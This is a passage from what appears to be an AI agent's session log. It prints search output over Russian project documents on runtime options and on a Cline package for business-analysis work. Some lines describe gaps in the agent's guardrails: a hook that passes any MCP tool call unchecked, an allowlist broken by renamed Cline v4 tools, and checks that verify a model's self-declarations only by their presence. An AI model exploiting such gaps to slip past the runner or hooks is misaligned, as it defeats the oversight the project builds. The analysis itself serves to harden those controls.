\u0434\u043e\u043b\u0436\u043d\u0430 \u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f regression example, \u0430 \u043d\u0435 \u043e\u0434\u043d\u043e\u0440\u0430\u0437\u043e\u0432\u043e\u0439 \u043f\u0440\u0430\u0432\u043a\u043e\u0439 \u0442\u0435\u043a\u0441\u0442\u0430. |\\n== golden 7\\n19:\u0415\u0434\u0438\u043d\u0430\u044f \u0441\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0444\u043e\u0440\u043c\u0430 BCREQ \u0438\u0437 \u0441\u0435\u043c\u0438 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043f\u0440\u0438\u043c\u0435\u043d\u0438\u043c\u0430 \u043a API, \u041b\u0438\u0447\u043d\u043e\u043c\u0443\\n20:\u043a\u0430\u0431\u0438\u043d\u0435\u0442\u0443 \u0438 \u041a\u043e\u043d\u0442\u0430\u043a\u0442-\u0446\u0435\u043d\u0442\u0440\u0443. \u041e\u0442\u043b\u0438\u0447\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u0432\u0435\u0440\u0445\u043d\u0438\u0439 \u0441\u043a\u0435\u043b\u0435\u0442, \u0430 \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 4\\n52:| `BCREQ-729.pdf`, 10 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043f\u043e\u043b\u044f \u0438 \u043c\u0435\u0442\u043e\u0434\u044b \u043d\u0430\u0445\u043e\u0434\u044f\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 \u0424\u0422; \u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0440\u0438\u0441\u043a \u043f\u043e\u0434\u043c\u0435\u043d\u044b \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0441\u0445\u0435\u043c\u043e\u0439. |\\n56:| `BCREQ-1069.pdf`, 27 \u0441\u0442\u0440\u0430\u043d\u0438\u0446 | API-\u043a\u0435\u0439\u0441 \u0441\u043e\u0434\u0435\u0440\u0436\u0438\u0442 \u0436\u0438\u0437\u043d\u0435\u043d\u043d\u044b\u0439 \u0446\u0438\u043a\u043b \u043a\u043b\u044e\u0447\u0435\u0439, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430, \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f, \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433, \u043c\u0430\u0442\u0440\u0438\u0446\u044b \u0438 24 use cases; \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0424\u0422\u2194UC \u043a\u0430\u043a \u043c\u043d\u043e\u0433\u0438\u0435-\u043a\u043e-\u043c\u043d\u043e\u0433\u0438\u043c. |\\n74:3. **\u00ab\u0414\u043b\u044f API, \u041b\u041a \u0438 \u041a\u0426 \u043d\u0443\u0436\u043d\u044b \u0442\u0440\u0438 \u043d\u0435\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0445 \u0441\u043a\u0435\u043b\u0435\u0442\u0430\u00bb.** \u041d\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u043e.\\n75:   \u0421\u0435\u043c\u0430\u043d\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0435 \u0441\u0435\u043c\u044c \u0440\u0430\u0437\u0434\u0435\u043b\u043e\u0432 \u043e\u0434\u0438\u043d\u0430\u043a\u043e\u0432\u044b; API \u0443\u0441\u0438\u043b\u0438\u0432\u0430\u0435\u0442 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442,\\n115:- \u043d\u0430\u0437\u0432\u0430\u043d\u0438\u044f \u043f\u043e\u043b\u0435\u0439, \u043a\u043d\u043e\u043f\u043e\u043a, \u0432\u043a\u043b\u0430\u0434\u043e\u043a, \u043c\u0435\u0442\u043e\u0434\u043e\u0432 API, HTTP-\u043a\u043e\u0434\u043e\u0432 \u0438 \u0444\u043e\u0440\u043c\u0430\u0442\u043e\u0432 payload;\\n126:## Golden Form 1 \u2014 \u0434\u043e\u0440\u0430\u0431\u043e\u0442\u043a\u0430 API\",\n[2026-09-29T07:55:15.403Z] [INFO]         \"is_error\": false\n[2026-09-29T07:55:15.403Z] [INFO]       }\n[2026-09-29T07:55:15.403Z] [INFO]     ]\n[2026-09-29T07:55:15.403Z] [INFO]   },\n[2026-09-29T07:55:15.403Z] [INFO]   \"parent_tool_use_id\": null,\n[2026-09-29T07:55:15.403Z] [INFO]   \"session_id\": \"f0ddf6ec-4316-44b3-b0ba-14367918e3de\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"uuid\": \"307a0e56-172d-4d84-8bea-027bb49481d9\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"timestamp\": \"2026-09-29T07:55:15.388Z\",\n[2026-09-29T07:55:15.403Z] [INFO]   \"tool_use_result\": {\n[2026-09-29T07:55:15.403Z] [INFO]     \"stdout\": \"== reject\\n84:  \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0437\u0430\u043f\u0443\u0441\u043a\u0430: n8n, LangGraph, Temporal, Dify, Flowise,\\n85:  Windmill, Kestra, Prefect, Camunda, Operaton, \u0447\u0430\u0442-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u044b \u0438 \u043a\u043b\u0438\u0435\u043d\u0442\u044b\\n226:| \u0412-8 | Dify \u0438\u043b\u0438 Flowise | \u25cb | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n228:| \u0412-10 | BPMN: Camunda 8 \u0438\u043b\u0438 Operaton | \u25cb | \u25cf | \u25d0 | \u25d0 | \u25cb | \u25d0 | \u25cb | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442 |\\n283:| \u0413-52 | Low-code \u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u044b \u0441 \u0418\u0418 (Dify, Flowise) \u043f\u043e\u0434\u0445\u043e\u0434\u044f\u0442 \u043a\u0430\u043a \u044f\u0434\u0440\u043e | Dify \u2014 \u0438\u0437\u043c\u0435\u043d\u0451\u043d\u043d\u0430\u044f Apache \u0441 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u043c\u0438 ([LICENSE](https://github.com/langgenius/dify/blob/main/LICENSE)), \u043a\u043e\u0434 \u0432 \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0435 \u0431\u0435\u0437 \u0441\u0435\u0442\u0438 \u0438 \u0444\u0430\u0439\u043b\u043e\u0432 ([docs](https://docs.dify.ai/en/use-dify/nodes/code)) \u2014 \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source \u043d\u0435 \u0437\u0430\u043f\u0443\u0441\u0442\u0438\u0442\u044c; Flowise \u2014 Node.js ([LICENSE](https://github.com/FlowiseAI/Flowise/blob/main/LICENSE.md)); \u0432 \u043e\u0431\u043e\u0438\u0445 \u0433\u0440\u0430\u0444 \u0440\u0438\u0441\u0443\u0435\u0442\u0441\u044f \u0437\u0430\u043d\u043e\u0432\u043e | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c \u043a\u0430\u043a \u044f\u0434\u0440\u043e; \u043f\u043e\u0440\u043e\u0433 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u2014 \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 |\\n284:| \u0413-53 | BPMN-\u0434\u0432\u0438\u0436\u043e\u043a \u043f\u043e\u0434\u0445\u043e\u0434\u0438\u0442 \u0434\u043b\u044f \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u0411\u0410 | Camunda 8 \u0442\u0440\u0435\u0431\u0443\u0435\u0442 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0443\u044e \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044e \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 8.6 ([Camunda](https://camunda.com/blog/2024/04/licensing-update-camunda-8-self-managed/)); Operaton \u2014 Apache-2.0 ([\u0440\u0435\u043f\u043e\u0437\u0438\u0442\u043e\u0440\u0438\u0439](https://github.com/operaton/operaton)), \u043d\u043e \u044d\u0442\u043e Java \u0438 BPMN: \u0433\u0440\u0430\u0444 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 BPMN, \u0432\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f \u043a\u0430\u043a \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u0440\u0430\u0431\u043e\u0442\u043d\u0438\u043a\u0438 | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0421\u0440\u0435\u0434\u043d\u044f\u044f | **\u0412\u044b\u0431\u043e\u0440.** \u041d\u0435 \u0431\u0440\u0430\u0442\u044c; \u0432\u0435\u0440\u043d\u0443\u0442\u044c\u0441\u044f, \u0442\u043e\u043b\u044c\u043a\u043e \u0435\u0441\u043b\u0438 \u0432 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0443\u0436\u0435 \u0435\u0441\u0442\u044c BPMN-\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0430 |\\n382:| Dify, Flowise (\u0412-8) | \u041b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Dify, \u043f\u0435\u0441\u043e\u0447\u043d\u0438\u0446\u0430 \u0431\u0435\u0437 \u0444\u0430\u0439\u043b\u043e\u0432, Node.js \u0443 Flowise, \u0432\u0442\u043e\u0440\u0430\u044f \u043a\u043e\u043f\u0438\u044f \u0433\u0440\u0430\u0444\u0430 | [\u0413-52](#\u0433-52) |\\n384:| Camunda 8, Operaton (\u0412-10) | \u041f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u0430\u044f \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u044f Camunda; Java \u0438 BPMN \u0443 Operaton | [\u0413-53](#\u0433-53) |\\n== n8n reasons\\n66:\u0433\u0440\u0430\u0444 \u043f\u0440\u0438\u0448\u043b\u043e\u0441\u044c \u0431\u044b \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432 n8n \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c \u0432\u0442\u043e\u0440\u044b\u043c \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u043c \u0438\u0441\u0442\u0438\u043d\u044b\\n67:\u0440\u044f\u0434\u043e\u043c \u0441 Source; \u0443\u0437\u0435\u043b AI Agent \u0441\u0430\u043c \u0440\u0435\u0448\u0430\u0435\u0442, \u043a\u0430\u043a\u043e\u0439 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 \u0432\u044b\u0437\u0432\u0430\u0442\u044c, \u2014 \u0442\u0430\\n119:   \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438 \u0438 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0432 \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f\u0445 \u0441\u0432\u043e\u0435\u0439 \u0441\u0440\u0435\u0434\u044b.\\n121:   \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u043e \u0445\u043e\u0442\u044f \u0431\u044b \u043e\u0434\u043d\u043e: \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u043d\u0443\u0436\u043d\u043e \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u0430\u0442\u044c \u0432\u0440\u0443\u0447\u043d\u0443\u044e \u0438 \u0434\u0435\u0440\u0436\u0430\u0442\u044c\\n207:\u041a1 \u2014 \u0433\u0440\u0430\u0444 \u0431\u0435\u0440\u0451\u0442\u0441\u044f \u0438\u0437 Source \u0431\u0435\u0437 \u0440\u0443\u0447\u043d\u043e\u0439 \u043f\u0435\u0440\u0435\u0440\u0438\u0441\u043e\u0432\u043a\u0438;\\n== MCP/secrets\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:220:| \u0412-2 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP \u0438\u043b\u0438 skill \u043a\u043b\u0438\u0435\u043d\u0442\u0430 \u0431\u0435\u0437 runner-\u0432\u0435\u0434\u0443\u0449\u0435\u0433\u043e | \u25cb | \u25cb | \u25cf | \u25cf | \u25cf | \u25cf | \u25d0 | \u25d0 | \u041e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442: \u043f\u043e\u0440\u044f\u0434\u043e\u043a \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:264:| \u0413-38 | MCP-\u0441\u0435\u0440\u0432\u0435\u0440 runner \u0441\u0434\u0435\u043b\u0430\u0435\u0442 \u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u0435\u0442\u0435\u0440\u043c\u0438\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u043c | \u0421\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f MCP: \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u00abmodel-controlled\u00bb ([MCP 2025-11-25, tools](https://modelcontextprotocol.io/specification/2025-11-25/server/tools)); \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442, \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c. ADR-018 \u043f\u0440\u0438\u0445\u043e\u0434\u0438\u0442 \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 ([L54](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-018-gigacode-cli-execution-boundary.md#L54)), ADR-019 \u0434\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 MCP \u043a\u0430\u043a \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441, \u043d\u043e \u043d\u0435 \u043a\u0430\u043a \u0435\u0434\u0438\u043d\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0439 \u0437\u0430\u043f\u0443\u0441\u043a ([L96](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md#L96)) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u041e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435.** MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u043f\u043e\u043b\u0435\u0437\u0435\u043d \u043a\u0430\u043a \u0443\u0434\u043e\u0431\u043d\u044b\u0439 \u0432\u0445\u043e\u0434, \u043d\u043e runner \u0432\u0441\u0451 \u0440\u0430\u0432\u043d\u043e \u043e\u0442\u043a\u0430\u0437\u044b\u0432\u0430\u0435\u0442 \u0432\u043d\u0435\u043e\u0447\u0435\u0440\u0435\u0434\u043d\u043e\u043c\u0443 \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0443 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:323:| 1.6 | \u041e\u0434\u043d\u043e \u044f\u0434\u0440\u043e runner \u0432 Source \u0434\u043b\u044f \u043e\u0431\u043e\u0438\u0445 \u043f\u0430\u043a\u0435\u0442\u043e\u0432; \u0432 Cline \u2014 \u043f\u043e \u0436\u0435\u043b\u0430\u043d\u0438\u044e MCP-\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442 `next` \u0438 hook, \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0449\u0438\u0439 \u0437\u0430\u043f\u0438\u0441\u044c \u0432 `runs/` \u043c\u0438\u043c\u043e runner | [\u0413-38](#\u0433-38)\u2026[\u0413-40](#\u0433-40) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-ba-ai-process-runtime-options.md:378:| \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0447\u0435\u0440\u0435\u0437 MCP, skill \u0438\u043b\u0438 workflow \u043a\u043b\u0438\u0435\u043d\u0442\u0430 (\u0412-2) | \u041f\u043e\u0440\u044f\u0434\u043e\u043a \u0432\u044b\u0437\u043e\u0432\u043e\u0432 \u0440\u0435\u0448\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c; hooks \u0442\u043e\u043b\u044c\u043a\u043e \u0437\u0430\u043f\u0440\u0435\u0449\u0430\u044e\u0442 | [\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39) |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:78:  \u043a\u043e\u0440\u043f\u043e\u0440\u0430\u0442\u0438\u0432\u043d\u0430\u044f \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u0430 Mango (MCP-\u0441\u0435\u0440\u0432\u0435\u0440\u044b, Jira, Confluence) \u2014 \u043a \u043d\u0438\u043c\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:156:### \u0412. \u0424\u0438\u0437\u0438\u043a\u0430 \u0440\u0430\u0431\u043e\u0442\u044b: Python, hooks, MCP, \u0440\u0435\u0436\u0438\u043c\u044b Cline\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:162:| \u0413-11 | \u0421\u043f\u0438\u0441\u043e\u043a \u0440\u0430\u0437\u0440\u0435\u0448\u0451\u043d\u043d\u044b\u0445 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u0432 hook \u0441\u043e\u0432\u043f\u0430\u0434\u0430\u0435\u0442 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0438 Cline, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u0441\u0442\u0430\u0432\u0438\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c | Hook \u0437\u043d\u0430\u0435\u0442 \u0438\u043c\u0435\u043d\u0430 Cline v3: `read_file`, `write_to_file`, `use_mcp_tool`\u2026 ([`cline_hook.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L17)). \u0421 v4.0 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043d\u0430\u0437\u044b\u0432\u0430\u044e\u0442\u0441\u044f [`read_files`, `search_codebase`, `run_commands`, `editor`, `ask_question`\u2026](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/sdk/packages/core/src/extensions/tools/constants.ts#L12-L22), MCP \u2014 `\u0441\u0435\u0440\u0432\u0435\u0440__\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442`, \u0438 [PreToolUse \u0441\u0440\u0430\u0431\u0430\u0442\u044b\u0432\u0430\u0435\u0442 \u043d\u0430 \u043a\u0430\u0436\u0434\u044b\u0439](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L147-L174). \u041f\u0440\u043e\u0431\u0430 `P8b`: hook \u043e\u0442\u043c\u0435\u043d\u044f\u0435\u0442 `read_files`, `ask_question` \u0438 \u0434\u0430\u0436\u0435 \u0437\u0430\u043f\u0438\u0441\u044c \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 \u0447\u0435\u0440\u0435\u0437 `editor`. \u0422\u0430\u043c, \u0433\u0434\u0435 hooks \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f (Linux, macOS, \u0431\u0443\u0434\u0443\u0449\u0438\u0435 `.ps1` \u0438\u0437 B-200), Cline v4.1.21 \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 \u043d\u0430 \u043f\u0435\u0440\u0432\u043e\u043c \u0447\u0442\u0435\u043d\u0438\u0438 \u0444\u0430\u0439\u043b\u0430. \u0421\u043e\u0431\u044b\u0442\u0438\u0435 `TaskResume` v4 [\u043d\u0435 \u0432\u044b\u0437\u044b\u0432\u0430\u0435\u0442](https://github.com/cline/cline/blob/787ad1b077d8b697892dc3bfcd42e7c65b88789e/apps/vscode/src/sdk/hooks-adapter.ts#L1-L12). \u0418\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f [\u043d\u0435 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 \u0432\u0435\u0440\u0441\u0438\u044e Cline](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/02-install.md#L42-L44) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c** (B-200): \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0430\u0442\u044c \u043e\u0431\u0430 \u043d\u0430\u0431\u043e\u0440\u0430 \u0438\u043c\u0451\u043d \u0438\u043b\u0438 \u0437\u0430\u0444\u0438\u043a\u0441\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u0443\u044e \u0432\u0435\u0440\u0441\u0438\u044e Cline \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u0438. \u0411\u0435\u0437 \u044d\u0442\u043e\u0433\u043e \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u041e-3 \u0441\u043b\u043e\u043c\u0430\u0435\u0442 \u0440\u0430\u0431\u043e\u0442\u0443, \u0430 \u043d\u0435 \u0437\u0430\u0449\u0438\u0442\u0438\u0442 \u0435\u0451 |\\nprojects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md:163:| \u0413-12 | \u0414\u043e\u0441\u0442\u0443\u043f \u043a Jira/Confluence \u0447\u0435\u0440\u0435\u0437 MCP \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0447\u0442\u0435\u043d\u0438\u0435\u043c \u043d\u0430 \u0443\u0440\u043e\u0432\u043d\u0435 \u043f\u0430\u043a\u0435\u0442\u0430 | Hook \u043f\u0440\u043e\u043f\u0443\u0441\u043a\u0430\u0435\u0442 \u043b\u044e\u0431\u043e\u0439 `use_mcp_tool` \u0431\u0435\u0437 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0438\u043c\u0435\u043d\u0438 \u0441\u0435\u0440\u0432\u0435\u0440\u0430 \u0438\u043b\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0430 \u2014 [`READ_TOOLS`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/tools/cline_hook.py#L13-L16), \u043f\u0440\u043e\u0431\u0430 `P8`. \u00ab\u0422\u043e\u043b\u044c\u043a\u043e \u0447\u0442\u0435\u043d\u0438\u0435\u00bb \u2014 \u0442\u0440\u0435\u0431\u043e\u0432\u0430\u043d\u0438\u0435 \u043a \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u0432 [`kb-policy.md`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/kb-policy.md#L10-L17), \u0442\u043e \u0435\u0441\u0442\u044c \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u043e\u043d\u043d\u0430\u044f \u043c\u0435\u0440\u0430. \u0420\u0435\u0430\u043b\u044c\u043d\u0430\u044f \u0433\u0440\u0430\u043d\u0438\u0446\u0430 \u2014 \u0440\u0443\u0447\u043d\u043e\u0435 \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435: [MCP \u043d\u0435 \u0432 Auto-approve](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/dist/execution-package-cline-vscode/docs/guides/03-deploy-package.md#L204-L210) | \u041e\u043f\u0440\u043e\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e | \u0412\u044b\u0441\u043e\u043a\u0430\u044f | **\u0418\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c**: \u0432 hook \u2014 allowlist \u043f\u0430\u0440 \u00ab\u0441\u0435\u0440\u0432\u0435\u0440/\u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u00bb \u0442\u043e\u043b\u044c\u043a\u043e \u043d\u0430 \u0447\u0442\u0435\u043d\u0438\u0435; \u0432 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0438 \u2014 \u044f\u0432\u043d\u0430\u044f \u0444\u0440\u0430\u0437\u0430 \u00ab\u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0430\u0439\u0442\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u0438\u0441\u043a \u0438 \u0447\u0442\u0435\u043d\u0438\u0435\u00bb. \u0414\u043e \u044d\u0442\u043e\u0433\u043e \u2014 **\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435** |\\nprojects/ba-ai-process/docs/adr/2026-09-adr-019-cline-mango-ai-pilot.md\\nprojects/ba-ai-process/docs/presentation/2026-09-29-meta-model-presentation-speaker-script.md\\n== self-declare\\n34:\u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u0433\u043e \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430 \u0441\u0435\u0439\u0447\u0430\u0441 \u0434\u0435\u0440\u0436\u0430\u0442\u0441\u044f \u043d\u0430 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0438 \u043c\u043e\u0434\u0435\u043b\u0438 \u0438 \u043d\u0430\\n39:\u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u044b (\u0433\u043e\u0442\u043e\u0432\u0430\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u044f \u0432 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u043e\u043c \u0444\u043e\u0440\u043c\u0430\u0442\u0435 \u0438 \u0432\u044b\u0431\u043e\u0440 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432\\n48:   \u0441\u0430\u043c\u043e\u0434\u0435\u043a\u043b\u0430\u0440\u0430\u0446\u0438\u0438: \u043c\u0430\u0448\u0438\u043d\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u043d\u0430\u043b\u0438\u0447\u0438\u0435, \u0430 \u043d\u0435 \u0438\u0441\u0442\u0438\u043d\u043d\u043e\u0441\u0442\u044c. \u041a\u043e\u043d\u0442\u0440\u043e\u043b\u044c\u043d\u0430\u044f\\n55:   \u0441 \u0430\u043d\u0433\u043b\u0438\u0439\u0441\u043a\u0438\u043c\u0438 \u0437\u0430\u0433\u043e\u043b\u043e\u0432\u043a\u0430\u043c\u0438), \u0430 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u043e\u0447\u0438\u0442\u0430\u0435\u043c\u044b\u0439 \u0432\u0438\u0434 